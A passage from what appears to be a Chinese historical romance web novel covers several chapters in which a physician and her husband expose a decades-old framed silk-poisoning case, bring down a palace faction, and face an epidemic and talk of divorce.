秋娘点点头,见孟玉桐如此关心,便让她在此处稍等,自己进了屋去翻找了一会儿,没过多久手中拿着一个小盒子走了出来,“只有这个。” 孟玉桐打开匣子,只见红绸上静静躺着一条编织手绳。 绳结采用罕见的螺旋编法,以五色丝线交织出繁复的太阳花纹,正中嵌着一颗浑圆的琥珀珠子,在夕照下流转着蜜糖般的光泽。 “这是南诏特有的‘长命缕’。”秋娘解释道,“相传南诏女子诞下女儿,便要亲手编织这样一条手绳,以太阳花祈愿孩子如日之升,平安顺遂。” 孟玉桐指尖轻触那颗琥珀,只觉触手温润。 “这编法倒是精巧,”她不动声色地抬眸,“可否借我观摩几日?想学着编一条相似的。” “孟大夫喜欢便拿去。”秋娘爽快应下。 待陪小雪玩要片刻,暮色已深。孟玉桐辞别秋娘,却未径直回府,而是转道御街。 华灯初上,御街两侧摊贩云集。卖果子的吆喝声、杂耍班的锣鼓声、食摊的香气交织成热闹的市井画卷。 她停在一处专卖编织物件的摊前,摊主立即笑着招呼:“姑娘又来了,上回你们一家三口买回去的巧思环带着可还喜欢。我这里啊,又进了一些各色各样的编织绳,姑娘,快看看有没有喜欢的。” 琳琅满目的手绳铺满整个摊位,从最简单的五彩绳到嵌着珍珠、玉片的精致款式,甚至还有异域风情的银铃手链,果然比别处丰富许多。 孟玉桐的指尖掠过一排排丝绳,最终停在一条约指宽的手绳前。绳身以金丝为底,用茜色丝线编出盛放的太阳花纹,与小雪那条如出一辙。 “姑娘好眼力!”摊主殷勤地取出手绳,“这是正宗的南诏女儿绳,寓意平安顺遂。近年来因花样别致,在临安也流行起来了。” 孟玉桐取出小雪的手绳递过去:“劳您瞧瞧,这可是南诏的编法?” 摊主就着灯笼细看片刻,笃定点头:“错不了!虽用的是咱们临安的线,可这螺旋编法和太阳花纹,确是南诏手艺。” 孟玉桐心头雪亮,将手绳仔细收好,又随意选了几根花绳,这才施然离去。 夜色渐深,亥时初至,照隅堂的小院浸在一片静谧之中。 院角那株柿树在月光下投出斑驳的影,熟透的果实如盏盏小灯笼隐在叶间。旁侧的石榴树已谢了花,结出青涩的果,在晚风中轻轻摇曳。 纪昀静立在孟玉桐的屋外,望着窗内那盏莹莹灯火。 暖黄的光晕透过窗纸,在这沉沉夜色中辟出一方明亮的天地,恰似这医馆之名——照隅堂,不仅为病痛中的人照亮希望,更为他这般在黑暗中独行的人,照亮了一处可栖身的角落。 让他觉得,这茫茫人世,终有令他心安的归处,与牵念的人。 他在门外伫立良久,只是静静望着,未叩门,也未出声。 门“吱呀”一声从内打开,孟玉桐立在门内,乌发还带着氤氲水汽,一身浅紫寝衣更衬得肌肤如玉。乌黑的长发像一道春日的瀑布,自她肩头倾泻而下,院中微风轻拂,纪昀似乎能闻到她身上刚沐浴过后的轻浅的香味。 “进来。”她轻声道。 纪昀不自觉地勾起唇角:“在等我?” 孟玉桐未答,径自走向内室。这小屋本就狭小,窗前摆了一张书桌后更显局促。她在床沿坐下,见纪昀仍立在原地,便拍了拍身侧的空处。 “今日宫中情况如何?” 纪昀依言坐下,高大的身影顿时遮去半室烛光,暗影笼罩下来,两人的距离忽然变得极近。 孟玉桐不自然地往后挪了挪,他却从怀中取出一个油纸包。 “这是荔枝干。”他递过去,见她疑惑,温声解释,“夏日祖父去岭南,我特意写信请他带些新鲜荔枝。可惜他归期延误,荔枝过季,前些时日回来时,只带了些荔枝干回来。不过毕竟还是岭南的荔枝干,味道比别处的应当要好些。” 他凝视着她,言语温柔:“记得你说过,那张安眠香方中的荔枝壳,是儿时父亲带回的荔枝所制。你那时舍不得吃,一直留着。你尝尝看,这些都是鲜果阴干而成,应当还存着几分当初的滋味。” 昨日说开之后,两人的关系好像有了些淡淡的变化。 孟玉桐打开纸包,拈起一块放入口中。果肉甘醇,带着淡淡的蜜香,虽不及鲜果多汁,却别有一番风味。 她咽下口中的果干,那甜味自舌尖漫开,她抬眸问道:“今日宫中可是出事了?” 纪昀长睫低垂,周身泛起冷冽的气息:“青书死了。” 孟玉桐动作一顿,眸中带几分不可置信:“死了?可是自尽?” 纪昀点点头:“那个活着的死士始终未招供,但在他身上搜出了瑾安的信物。姨母趁机要求x重查秋海棠一案,侍卫在瑾安寝殿搜出一盆红玉金盏。” 他声音渐沉,“青书认下所有罪责后撞墙自尽。此案关系重大,虽有人顶罪,但一个下人担不起这等罪名,我传出能证实瑾安此前与青书早有勾连的人证,瑾安却只肯认下秋海棠一案,此次的刺客一事,她尽数推在了青书身上。目前的情况是瑾安被褫夺公主封号,暂囚静岚轩。我此前提出要全程参与此案,今日便借口我的伤势不佳,延后了庭审。” 孟玉桐蹙眉,语气渐急:“若还要查,只能从那个死士身上入手。他在宫中可安全?若他出事,此案怕是要不了了之。贤太妃有何反应?可曾为瑾安求情?” 若贤太妃真的对那个死士动手,事情倒是好办了。他延**审,等的就是这样的转机。 纪昀伸手,在她手背上自然拍了拍,温言安抚道:“莫急,姨母已有安排,不会让线索断了。而贤太妃对此案不闻不问,想来是要与瑾安划清界限了。” 孟玉桐瞧着他的动作,抬眼瞪了他一眼。纪昀若无其事地收回手,眼神转向别处。 孟玉桐从袖中取出那条手绳,递到纪昀面前:“我今日去济安堂,这是秋娘给我的,说是小雪小时候被送来时随身带着的信物。你看这花纹,是南诏特有的样式。还有小雪的眼睛,不知你注意过没有,她的瞳色很少见,是琥珀色的,与瑾安的如出一辙。” 纪昀很快反应过来,眸光一凝:“你怀疑小雪是瑾安的女儿?” 见孟玉桐点头,他从孟玉桐手中接过手绳,沉吟道:“我去查。若果真如此,她留下小雪,说明她心中尚有软肋。或许,可从此处着手。” 第112章 第112章往事 孟玉桐抬起眼眸,烛光在她清亮的瞳孔中微微跳动:“纪昀,当年我祖母一家因进贡绸缎被查出有毒而举家覆灭的案子,你可知道?” 纪昀闻言眸色微动。 他静静看着她,她如今终于知道,有什么想问的,有什么想做的,第一时间不是找旁人,而是先找自己了。 这个认知让他心头泛起一丝难以言喻的悸动。 他自然而然地执起她的手,引着她走到书案前。待她在桌前唯一的一把椅子上坐定,他才侧身倚在桌沿,取过一张宣纸铺开。修长的手指执起狼毫,在砚台中轻蘸墨汁。 “当年的事,我暗中查访过。”他落笔时衣袖轻拂,墨香淡淡散开,“既然你想知道,我便将所知尽数告知。” 笔尖在纸上游走,留下两个人名。 “广陵江家当年在江南丝绸行中堪称翘楚,皇家每年进献的绸缎,十中有七出自江家之手。” 他的声音低沉平稳,娓娓道来,“嘉元五十五年,江家照例进献了一批流光锦。此锦轻薄如蝉翼,光泽流转,深得宫中贵人喜爱。可贤妃——也就是如今的贤太妃——穿着此锦制成的宫装后,竟突发喘症,身上起满红疹。” 他笔尖一顿,在“贤妃”二字上轻轻一圈:“医官查验后,声称锦缎上染了剧毒。贤妃震怒,请求圣上严惩江家。当时圣上龙体欠安,将此案交给了当时的皇长子,也就是如今的荣亲王。” 孟玉桐的指尖微微收紧。 “绸缎进贡一事由礼部主理,案发后,各部官员相互推诿。”纪昀继续执笔,在纸上写下两个名字,“最后礼部只派了两个末流小官协查——从八品主事窦英,正九品笔帖式吴榉。此二人是同乡,皆为广陵人,一同入临安读书考官,交情深厚,情同手足。” 他的指尖轻点墨迹未干的名字:“窦英便是窦志杰的父亲,如今的礼部尚书。而吴榉……当年因在贡绸案中查办不力,做下伪证,被判入狱三十年。他应是十年前出狱,出狱后不知所踪,再无音讯。” 孟玉桐凝视着那两个名字,心下了然。窦英既是贤太妃一党,想必二人之间的勾结,早在江家案时便已开始。 贤太妃认定祖母阻碍了荣亲王的前程,所以不惜以这等歹毒计策倾覆整个江家,只为将儿子牢牢掌控在手心。 “那案子督办的细节,你可清楚?”她强压下心头的怒火,迫使自己保持冷静。她早知道了这些往事,可其中细节一直没有机会了解问询,如今再谈及,她对贤太妃的所作所为,厌恶更甚。 纪昀的目光在她脸上停留片刻,似在欣赏她此刻的沉着。 “荣亲王倾慕孟老太太,自然不信江家会行此大逆之事。”他续笔在纸上勾勒出几个关键处,“督办此案,本是他主动向圣上请缨。可惜……贤太妃岂容自己的计划被儿子破坏?” 烛火忽地一跳,在他深邃的眸中投下明明灭灭的光影。 “江家每次进贡大批绸缎时,为保万无一失,都会请专人封样留存。荣亲王将江家那批绸缎的封样尽数收集,存放在宫中自己的书房内。他请医官查验,并传礼部两位官员作证。” 他的声音渐沉,“可查验结果刚刚落定,书房竟突发大火,所有封样与验状尽数焚毁。” 孟玉桐不自觉地攥紧了衣袖。 “江家的罪名再难洗脱。荣亲王带着两位礼部官员和太医面圣,坚称查验结果证明绸缎无毒。” 纪昀的笔尖在“吴榉”二字上重重一顿,“三人中,唯有吴榉愿为他作证。窦英与那位医官却异口同声,咬定封样也有毒。 更甚者,窦英还拿出了从火场中‘抢救’出的一小份‘有毒’封样。” 他放下笔,墨迹在纸上缓缓晕开:“至此,江家再无转圜余地。显赫一时的丝绸世家,一夕倾覆。而坚持作证的吴榉,也因‘伪证’之罪,被判入狱三十年。” 此时得知旧事的种种细节,孟玉桐只觉得胸口一阵窒闷,竟有些喘不过气来。 江家何其无辜?祖母何其无辜?凭什么要因荣亲王,因贤太妃而无端承受这一切。 她想起桂嬷嬷曾说过的,关于祖母脸上那道疤痕的来历。她几乎能想象祖母当年的绝望。家族无端蒙冤,她定是苦苦哀求过荣亲王,甚至交出了江家最后的证据,却终究敌不过权贵的一念之间。 所以祖母最后才会心如死灰,闯入贤太妃的宫殿,以那样决绝的方式,只为保住江家人的性命。 而那位吴榉大人,只因坚守真相,便赔上了一生。反观窦英这等小人,却官运亨通,平步青云。 这世道,当真公平么? 孟玉桐怔怔地望着那张宣纸,素来沉静的面容流露出几分罕见的怒意,眼底翻涌着难以抑制的痛楚与愤懑。 她放在膝头的一双手不自觉地收紧,单薄的身子微微发颤,像是被秋风压着的一丛菊,风力虽强劲,茎杆却不弯折,清冷理智之外,是对萧索世道命运的不屈。 纪昀从未在她脸上见过情绪如此外露的时刻。他心口一紧,上前一步,蹲在她面前,温热的大掌轻轻覆上她冰凉的手背。 “玉桐,”他声音低沉,却带着不容置疑的力量,“天理昭昭,她们终将为自己的所作所为付出代价。” 她缓缓摇头,试图扯出一个笑容,那表情却泛着股涩意,无端让人心疼:“我没事。” 孟玉桐的目光落在他脸上,带着些探究,“这些陈年旧事,你为何会知道得如此清楚?” 纪昀迎着她的视线,坦然道:“关于你的事,关于孟家的事,我都去查过。” “何时查的?又为何要查我的事?”她眼中有明显的不解。 “大约是你我退婚之后。”他略顿,长睫微垂,声音竟低了几分,“起初只是觉得,你与从前性子大不相同,心生好奇。后来连你家的旧事也开始查探,是因为……在意。” 他抬起眼,目光灼灼:“因为在意,与你有关的一切,我都想知道。况且贤太妃将你祖母视为眼中钉,又因为李璟之故,对你也多有刁难,我自然不能放任局势发展,由她威胁你的安危。” 烛火在静谧的室内轻轻跳跃,在周边投下暖色的融融光晕,两人一上一下,一高一低。 纪昀的耳根泛起不易察觉的红晕,在暖黄的光线下无所遁形。 孟玉桐不自然地抽回手,视线却被他右肩洇出的暗红血迹吸引。那抹刺目的红在他浅色的衣料上缓缓蔓延。 “你的伤,”她倾身向前,指尖虚虚指向他胸口,“裂开了。” 纪昀胸前的血色渗出,已经洇湿了他胸前的一小片衣料,方才两人谈论往事太过入神,竟没有发现。 纪昀因她话语中的关切而心头一暖x:“从宫中回来时天色已晚,心中着急,便策马赶回。想是不甚牵动了伤口,没什么大碍。” “着急什么?”她脱口而出,抬起眼,视线与他撞上。 他凝视着她,目光温柔而专注:“着急见你。” 一缕夜风自窗隙潜入,轻轻扬起他鬓边散落的发丝。那缕墨发拂过她的眉梢,带来细微的、轻柔的、微凉的痒意。 孟玉桐倏然别开视线,直起身往外走。 才转身,衣袖便被他拉住:“你去哪里?” “去拿药,给你处理伤口。”她无奈道。 他这才松开手,眼底漾开浅浅笑意。 待她取了药箱回来,纪昀已坐在床沿。 孟玉桐吩咐道:“将衣服解开,我替你看看。” 他垂下头,单手解开腰封,另一只手正要掀开上衣,却因动作牵动伤处,忍不住蹙眉闷哼。 “我来吧。”孟玉桐出声打断,走到他身前。 她一靠近,眼前那大片的明亮便被遮挡了去,纪昀的视线瞬间被一片温柔的浅紫色包围。 这般距离,能清楚瞧见,她寝衣上的纹理,是白色的绣线绣制而成的一小片丁香花,团团簇簇在她胸襟前的衣料上围成一小片,生机勃勃,鲜活可爱。 这衣裳花样特别,应不是在外头采买的,而绣工又精巧,想来也不是她亲自绣的。 大约是白芷为她裁制的。 她原来,喜欢的是丁香……上一世在纪府时,她常常在两人的房中插梅花,他还以为她爱的是梅,如今想来,应该是因为母亲爱梅,府中种了梅,她大概以为,自己也喜欢梅花…… 孟玉桐垂眸,小心翼翼地为他解开衣带,动作轻缓地褪下染血的衣衫。 随着外袍滑落,他精壮的胸膛和缠绕着绷带的伤口渐渐显露。空气中弥漫着淡淡的血腥气,与她身上清雅的药香交织在一起。 两人的视线刻意避开彼此,却在狭小的空间里总有几次相交的时刻。她能感受到他灼热的体温,他亦能闻到她发间若有似无的馨香。 孟玉桐取来干净的布巾,蘸了温水,仔细擦拭伤口周围的血迹。她的指尖偶尔不经意地掠过他的胸膛,每一次触碰都让纪昀的身体微微绷紧。 “疼吗?”她轻声问。 他摇头,目光却若有似无地流连在她专注的侧颜上。 烛光为她镀上一层柔光,也让她清丽的面容带上几分暖意,她的睫毛纤长秀美,在眼下投下浅浅的阴影,眨眼时,那睫羽的部分,像是一只灵动的蝶,让他忍不住想伸手,想拢在手心…… 孟玉桐忽然回过头去取一旁的绷带,他立刻转开视线,望向一边的地面。 最磨人的是包扎的过程。她不得不倾身向前,双臂环过他腰间,将绷带一层层缠绕。 这个近乎拥抱的姿势让两人靠得极近,纪昀不自觉地收紧了下颌。 他刻意去忽略眼前的一切,可当她温热的呼吸喷洒在他的肌肤上时,越是被忽略,被按压下的悸动和情愫,便像潮水一般不受控制地蔓延开来。 这道伤口虽然很疼,但今日这一番却让他觉得,他再捱一刀也值。 他只希望这一时半刻的时间过得再慢一些,再慢一点…… 包扎时,孟玉桐也能感受到纪昀身体的紧绷。她以为他是因为太疼了,便加快了动作,待终于包扎妥当,她如释重负地后退一步,开始收拾药箱。 “好了。”她将药箱合上,声音比平日轻柔许多,“时候不早了,你之前住的那间屋子,我已经让吴明收拾出来了。我送你上去休息,顺便找吴林先生问些事情。” 第113章 第113章榉木 暮色渐深,月光如练。 两人一前一后穿过庭院,青石小径上投下两道交错的影子。夜露凝在阶前草叶上,映着廊下悬挂的灯笼,泛出晶莹的光泽。 两人上了二层,孟玉桐停在楼梯前,转身对纪昀道:“你伤未愈,先回房间歇着吧。” 谁知纪昀非但未止步,反而又跟近一步,“我陪你。” 他的声音很轻,却带着不容拒绝的意味。 孟玉桐望着他这般模样,不由得想起刘思钧送来的那只鸽子。 平日里将它放出笼子透气时,总爱在她脚边蹦蹦跳跳地跟着,她走到哪里,那只鸽子便跟到哪里,像一只小尾巴,时而还会轻啄她的裙角,生怕她走远了似的。 此刻的纪昀,竟与那小东西有几分相似。 而他本人却浑然不觉这般行径有何不妥。 从前他太过克制,将满腔情意深埋心底,如今回想,只觉愚不可及,平白错过了许多与她相守的时光。 既已醒悟,他便再不愿掩饰。此刻他的眼中,唯有她一人。 “你放心,”他放缓声音,素来清冷的眉眼在月光下柔和了几分,“我不出声,不扰你议事,只在旁陪着,可好?” 这位向来清冷孤傲的纪医官,此刻竟流露出几分近乎可怜的神态,仿佛她若拒绝,他便要一直站在这里,不让她离开。 孟玉桐终究没有坚持,“随你。” 二人行至吴林房前,但见窗纸上透出暖黄的光晕,他还未休息。孟玉桐轻叩门扉,里头传来吴林慵懒的嗓音:“进来。” 推门而入,只见吴林正坐在桌前,手中把玩着那副龟甲。见他们进来,他懒洋洋地抬眼:“老夫方才卜了一卦,就说今夜睡不成安稳觉,果然是你这丫头。” “打扰先生了,”孟玉桐在桌前坐下,“有些事想请教。” 纪昀默默在她身侧落座,果真如承诺般静默不语。 孟玉桐凝视着吴林,缓缓道:“前些时日祖母来时,我瞧见二位相见时神色有异。从祖母的眼中,我看到了……‘愧疚’……而从先生的眼中,我却看到了‘不甘’。” 吴林眯起眼睛,龟甲在指尖转了个圈:“孟大夫想说什么?” “我在想,”她微微一笑,“先生究竟是个怎样的人。” 吴林面上仍是一贯的随性,眼底却掠过一丝暗芒:“那你觉得呢?你觉得,我是个怎样的人?” “先生可知道榉木?”孟玉桐不答反问,“此木生于山崖,枝干挺拔,始终向上攀援。其质坚硬,纹理端正,象征着刚直清正之气。” 她顿了顿,目光清明,“先生看似放荡不羁,乐天随和,可骨子里,却是个端谨守正、秉持道义之人。” 吴林的手指轻轻点在龟甲上,发出细微的脆响。 他凝视着孟玉桐,眼底流露出几分欣赏:“单凭那日远远一瞥,你就猜出了老夫的身份?丫头未免太过敏锐。” “也不全然是。”孟玉桐摇头,“直至方才,我才得知当年江南贡绸案的始末。此案中协理督办的那位吴榉大人,与窦英皆是广陵人。” 她语气渐深,“先生莫要忘了,我祖母也是广陵人。您夜间偶尔哼唱的广陵小调,我在祖母那里也听过。” 吴林忽然笑了,笑声中带着几分释然:“好个聪慧的丫头。既然如此,你今夜前来,是想从老夫这里知道什么?” 他懒洋洋地往后一靠,指了指外头的天色,“咱们相识这么久,你也知道,老夫每日亥时前必得就寝。如今只剩一炷香的时间,你可得抓紧了。” 孟玉桐正色道:“上次窦志杰来照隅堂时,先生主动提出要为他卜卦,他却说‘事在人为,运由己握’。在先生看来,命理之说当真可信么?命运真能由自己掌控?” 吴林捻着胡须轻笑:“你问一个算命的这样的问题,是想听什么样的答案?” 他目光悠远,“老夫如今老了,什么命啊、运啊,早就不放在心上了。现在这样的日子,挺好。” “先生笑得勉强。“孟玉桐直直望进他眼底,漆黑的瞳仁中仿佛有暗流涌动,“先生当真甘心吗?” 烛火噼啪一声,在三人之间投下摇曳的影子。 纪昀始终安静地坐在一旁,目光却始终没有离开孟玉桐的侧脸。 烛光在她清丽的轮廓上镀了一层柔光,那双总是平静无波的眸子此刻燃着灼人的光芒。 不再是那个冷静自持的女大夫,而像一柄即将出鞘的利剑,寒芒乍现。 他看得分明,她是要借吴榉这条线,撬动窦英这块顽石。 “先生说年事已高,可我在您眼中看到的,仍是当年的赤诚与不屈。”孟玉桐的声音清越,在静夜中格外清晰,“江家的案子,我不认那个结果。祖母的冤屈,江家的公道,我定要讨回来。望先生助我。” 吴林凝视着眼前这个女子。她身形单薄,在权贵面前不过蝼蚁,可那双眼中的坚毅,那字字铿锵的决绝,竟让他沉寂多年的心x湖泛起了涟漪。 不得不承认,他早已下定决心要远离纷争的心,他以为牢不可破的心,此刻隐隐有松动的迹象。 纪昀适时开口,声音沉稳:“先生与窦英曾为同窗,对他再了解不过。这些年来,他助贤太妃构陷忠良,贪墨赈灾银两,纵容子侄强占民田” 他每说一桩,吴林的眉头就皱紧一分,“如今正是将他们连根拔起的好时机。先生难道愿意看着更多无辜之人,重蹈您与孟老夫人的覆辙?” 烛火噼啪作响,映得吴林面上神色变幻。他缓缓闭上眼,良久才道:“一炷香的时辰,到了。” 孟玉桐与纪昀对视一眼,轻轻摇头。二人起身,孟玉桐躬身一礼:“打扰先生休息了。” 就在他们转身欲离时,身后传来“咚”的一声轻响。 回头望去,只见吴林将龟甲重重按在桌上,长叹一声:“窦英出身寒微,有个习惯——得了贵重物件,总要寻个隐秘处珍藏,日日都要偷偷查看。” 他疲惫地挥了挥手,“若要寻他的把柄,或许可从此处着手。” 孟玉桐眸中一亮,郑重道谢:“多谢先生指点。” 二人退出房间,回望时见那窗内的烛火久久未熄,想来今夜,吴林是要破了他立了多年的规矩了。 廊下月色如水,孟玉桐凝眉沉思,显然已在谋划如何着手。 纪昀停下脚步,温声道:“从太妃身边的党羽逐个击破,确是上策。窦英的事,明日我便派人去查,你不必过于忧心。” “可这些终究是我的私事” “孟老夫人与家祖是故交,单凭这一层,我便不能坐视。”他打断她的话,声音轻柔却坚定,“更何况还有姨母被下毒一事,这些早已不只是你一个人的事。” 他抬手,极轻地拂过她的发梢,动作温柔至极:“从前都是你在付出,如今也给我个偿还的机会,可好?” 孟玉桐别开脸,终是轻轻“嗯”了一声:“若有发现,定要第一时间告知我。” “好。” 夜空如洗,明月高悬,清风拂过院中的柿树,带来阵阵草木清香。 天气一日比一日冷,像是冬天快来了…… * 暮色渐浓,纪昀负手立在书桌窗前,望着庭院中最后一片梧桐叶飘然坠落。这一个月来,他派出的暗卫日夜盯着窦英,终于在这今日等来了确切消息。 “城西那间绸缎庄,”云舟低声回禀,“窦尚书每日必至,铺中确有暗室。” 十一月十一,霜降。纪昀将一叠密函送至工部尚书府中。 朝堂党派斗争之中,这位与窦英明争暗斗多年,属清流一派,由他出手最合适不过。其中不仅详录了窦英这些年来贪墨受贿、结党营私的桩桩罪证,更有诸多涉及太妃的证物。 两日后,纪昀带着小雪入宫。 两人走在通往静岚轩的青石宫道上,小女孩腕间那条五彩编绳在冬日暖阳下格外醒目。 静岚轩内,纪昀领着人进来时,瑾安倒是颇为意外。 她唇角勾起一抹讥诮:“你来做什么?怎么?来看我如今落魄的模样?” 纪昀拉着小雪走近,声音淡漠:“我带个人来看看你。我想,你应该会想看看她。” 瑾安见到小雪手中的编绳和那双与自己如出一辙的琥珀色眼眸时,忽然往后退了半步,跌坐在地上。 “滚!”她将手中的茶盏用力往两人的方向掷去,嘶声厉喝,破碎的瓷片溅到小雪脚边。 纪昀拉着小雪往后退了退。 小雪却挣脱纪昀的手,怯生生上前,伸出小手想要触碰瑾安袖口沾染的血迹。 她张了张嘴,发不出声,只能踮起脚尖,对着那道伤口轻轻呵气。 瑾安怔住了。 恍惚间,她仿佛看见很多年前,那个被宫人推倒在假山上的自己。她的额头撞在石块上,破开一个大口子,鲜红的血液汩汩流淌,她吓的说不出话。 那时也是这般冬日,是昭哥哥发现,替她包扎了伤口,温声说:“阿瑾莫怕。” 是纪昭替她赶退了宫人,替她治病,带她从那段暗无天日的日子里走出来…… “兄长若在世,“纪昀的声音将她拉回现实,“定会为你如今的模样心痛难当。” “昭哥哥……“瑾安忽然凄厉一笑,“关你什么事?若不是你,他也不会死!” “兄长仁厚,只会痛惜那个天真烂漫的小妹妹,为何会变成如今这般模样。或许知道了如今所做的一切,他也会后悔当初对你心存善念。” 这话似利刃刺入心口,瑾安颓然垂首,泪珠簌簌落在衣襟上:“我也不愿……可昭哥哥走了,这世上再没有人会真心待我好了……” 小雪见状,也跟着掉泪。她伸出小手,笨拙地去擦瑾安脸上的泪痕,费劲地发出几个模糊的音节:“不……哭……” 瑾安瞧着她,内心震荡,眼中竟隐隐划过一丝温柔。 纪昀上前将小雪拉至身后:“若你还存着一丝良知,明日廷审,有关贤太妃的一切事项,望你如实陈情。” 瑾安瞧着他,忽然笑了笑,“纪昀,今日你带她来见我,我还你一份大礼。” 她从袖中掏出一方小盒,她将盒子递给一旁的小雪,示意小雪拿去给纪昀。 小雪懵懵的,结果盒子,十分听话地递给纪昀。 纪昀接过那盒子,皱眉问:“这是什么?” “这是我用金盏红玉炼制的毒虫,名为‘缠心虫’,我炼制多年,在今日炼成,往后却没有机会再用了,倒是便宜了你。你不是喜欢极了你那位夫人么?不过我瞧着,她却对你没什么心思。我教你,你先用你的血喂给这只毒虫,接着再喂她吃下这毒虫,这样一来,她永远也不会再离开你,一旦她要与你分开,便要承受万虫啃食的痛楚,痛不欲生,生不如死!” “你简直是个疯子!”纪昀甚至未曾打开那盒子,就将其丢在了地上。 瑾安无所谓地耸了耸肩,“倒是白费我一番好心。” 她看向小雪,伸手摸了摸她的脸,语气喃喃:“还好,你长得像我多些。” “你叫什么名字” 小雪眨眨眼,笑了笑,她张嘴,十分费劲地想要发出声音:“小……小……雪……” “小雪。”瑾安重复,视线落在小雪的眼睛上,目光透出几分温柔。 纪昀眉心一皱,拉过小雪,快步离开了静岚轩。 第114章 第114章非她不可 十一月十四,太极殿内熏香袅袅。 在景福公主和工部尚书的周旋之下,所有罪证被一应呈至御前。 瑾安当庭指认贤太妃主导多起大案,并坦然承认:她谋害景福,参与刺客案,还有当年她的夫君沈铎暴毙一事,也与她有关…… 三日后,诏书颁下:瑾安赐鸩酒自尽,窦氏满门抄没。查抄窦府时,在暗格中发现一块泛黄的流光锦——正是当年江家进贡的封样。太医署查验后,终证绸缎无毒。 沉冤几十载的江家旧案,终得昭雪。 当年涉及此案的吴榉,也因此洗脱了罪名。 皇帝念太妃年迈,特许其往皇陵守墓,余生不得再出皇陵。荣亲王闻旨后,在府中静坐一昼夜,翌日上表谢恩,再无他言。 * 岁暮天寒,临安城迎来了今冬的第一场雪。鹅毛般的雪片纷扬而下,不过半日工夫,便将整座城池装点成一片白芒。 照隅堂的小院里,几株树已积了厚厚一层素白,那方药圃顶上的黑色罩布也被雪覆盖。 墙角之下,只隐约可见几株耐野草倔强地探出些许绿意。 纪昀踏雪而来,云舟紧随其后,怀中捧着数件新裁的冬衣。近日天候转寒,他特意请府中绣娘按孟玉桐的尺寸缝制了新衣,也为照隅堂的其他人各制了一身。 前堂里,云舟与吴明寒暄着分发衣物,纪昀则信步走向后院。行至孟玉桐房门前,他正要叩门,却听得里头传来主仆二人的低语。 “姑娘,”是白芷的声音,“如今旧案已昭雪,太妃与瑾安公主皆已伏法,此番多亏纪医官前后奔走。往后……您与纪医官之间,可有什么打算?” 纪昀本欲回避,听得此问,却不由自主地驻足。这个问题,在他心头盘桓已久。 从前借着太妃这层关系,他尚能以权宜之计将她留在身边。而今时移世易,他再找不到任何冠冕堂皇的理由。 若她决意离去……纪昀垂在身侧的手不自觉地收紧,心口像是被什么攥住了一般。 屋内,孟玉桐的声音平静无波:“当日成婚本就是权宜之计。既然困局已解,自是各归各位。” “可奴婢瞧着,纪医官待您x是一片真心……” “交出真心,便是交出了自己的所有。”孟玉桐打断她,语气里带着看透世事的淡然,“从前我也曾毫无保留地付出过,深知那般滋味。千头万绪皆系于一人之身,从此便不再是自己了。任人拿捏,甚至付出性命。这样的日子,我不想再过了。这世间,我唯独信自己。” 她顿了顿,声音更沉了几分:“待他下次过来,你请他来见我。和离之事,也该提上日程了。” 纪昀怔在原地,仿佛被冰雪冻住了四肢百骸。他木然转身,院中的雪下得更急了。 漫天琼屑纷扬而下,像是鹅毛一样,一片片往下坠。冰凉的,大片的雪花落在他脖颈中,落在他眉骨上,那丝丝缕缕的冷意透过肌肤传来,他四肢都好像浸入了一片冰寒之中。 前堂里,云舟见他神色恍惚地出来,忙上前关切:“公子这是怎么了?” 纪昀摇摇头,声音喑哑:“回府罢。” 主仆二人的身影渐次没入茫茫雪幕之中,只在地上留下一行浅浅的足迹。 这场大雪过后,城郊传来了瘟疫的消息。 所幸因纪昀早前提醒,医官院对城内外的病情始终严加监控,故而在疫情初现端倪时便已察觉。朱直下令立即派人前往郊外农户处诊治,严控疫情蔓延。 纪昀主动请缨前往。 云舟来照隅堂报信时,孟玉桐正在后院为那畦紫雪参加盖草席。这几日雪势甚大,她生怕冻坏了这些精心培育的药草。 “少夫人,”云舟躬身禀报,“城外几家农户染了时疫,公子昨日已随几位医官赶去诊治。那几处邻近平江府,情势未明。公子特意嘱咐,让您好生保重,不必挂心。” 此行云舟又送来些冬日的被褥、食粮,还有纪昀早前备下的药材。 “公子还说,请您近日莫要外出,尤其不可出城。” 孟玉桐闻言心下一沉。上一世那场瘟疫,来的时间与此刻相仿。可她知晓纪昀重生后,特意与他提过此时,他说他已提前告知了医官院,做好了部署。 她原以为此次能避开这场灾厄,却不料疫病源头从城内转到了城郊。 若此番疫情与前世相同,纪昀应当知道应对之方。初期控制不难,唯有到了多重感染时,才需用到紫雪参。而她这里恰好备有此药……思及此,她稍觉安心。 不知不觉间,掌心已沁出薄汗。 她命云舟稍候,自己回房凭着记忆,将上一世纪昀重病时老太爷所开的方子细细写下。又去后院小心挖出一株紫雪参,连土用绢帕包好,再配了些清热解毒的药材,一并交给云舟带去。 待云舟离去,她仍觉心神不宁。回到房中,取出那本《药理》细细翻阅。书页摩挲声里,躁动的心绪渐渐沉静下来,唯有窗外雪落干枝的簌簌声,不时打破这一室寂静。 * 一月后,由于城郊的疫情发现的及时,纪昀到达后,又准确地给出了应对之方,故而病情虽小范围蔓延开来,但在医官院众人的努力下,已然基本得到了控制。 只是这疫病终究凶险,其间若有年迈体弱者染疾,便难敌病魔侵袭。 城郊皇陵之中,贤太妃所居之处亦未能幸免。 太妃在皇陵守墓,身边只被允许跟了一位嬷嬷,那嬷嬷年岁也大了,待太妃发病后,那位嬷嬷找到医官院的人时,已经耗费了许多时间。 医官院虽及时遣人赶到皇陵为其施药,奈何她年事已高,再加上皇陵之中,日子清苦,与皇宫简直是天壤之别,这位骄傲了半生的太妃,早也没了求生的意志,于是她没能熬过这场病,最终死于这片寂寥的陵园。 染了疫病的尸体,未免扩散病毒,最终都要统一火化处理。贤太妃也不例外。 可叹她一生追慕权利,应是想不到,自己死后会化作一捧无人知晓的黄土。 疫情既平,朱直亲临查访。染病的农户服药休养半月有余,皆见起色。 其他来此的医官早早收拾好行囊,准备回城去。只有纪昀,推说要再留下观察一段时日再走。 朱直觉察出几分不对,他看向这一月治病忙碌下来,瘦了一大圈,脸色也憔悴不少的纪昀,试探道:“淮之,你同我说实话,你与你夫人,可是吵架了?” 纪昀默然不语,只将手中的药材又添进药炉。 朱直摇摇头,他何时见过这小子这般失魂落魄的样子,定是让他猜对了,他那样喜欢那位孟姑娘,怎会情愿赖在外面,不愿回去? 小夫妻一定是吵架了。 他既然不愿意说,他自有办法让他说出来,也好让自己这个做老师的好好帮帮他。 这位雷厉风行的院使当即遣快马往照隅堂传了个小消息,又向当地农户讨来几坛村酿,备了几样小菜。 夜色初临时,他拉着纪昀在院中石桌前坐下,执壶斟酒:“歇歇吧。” 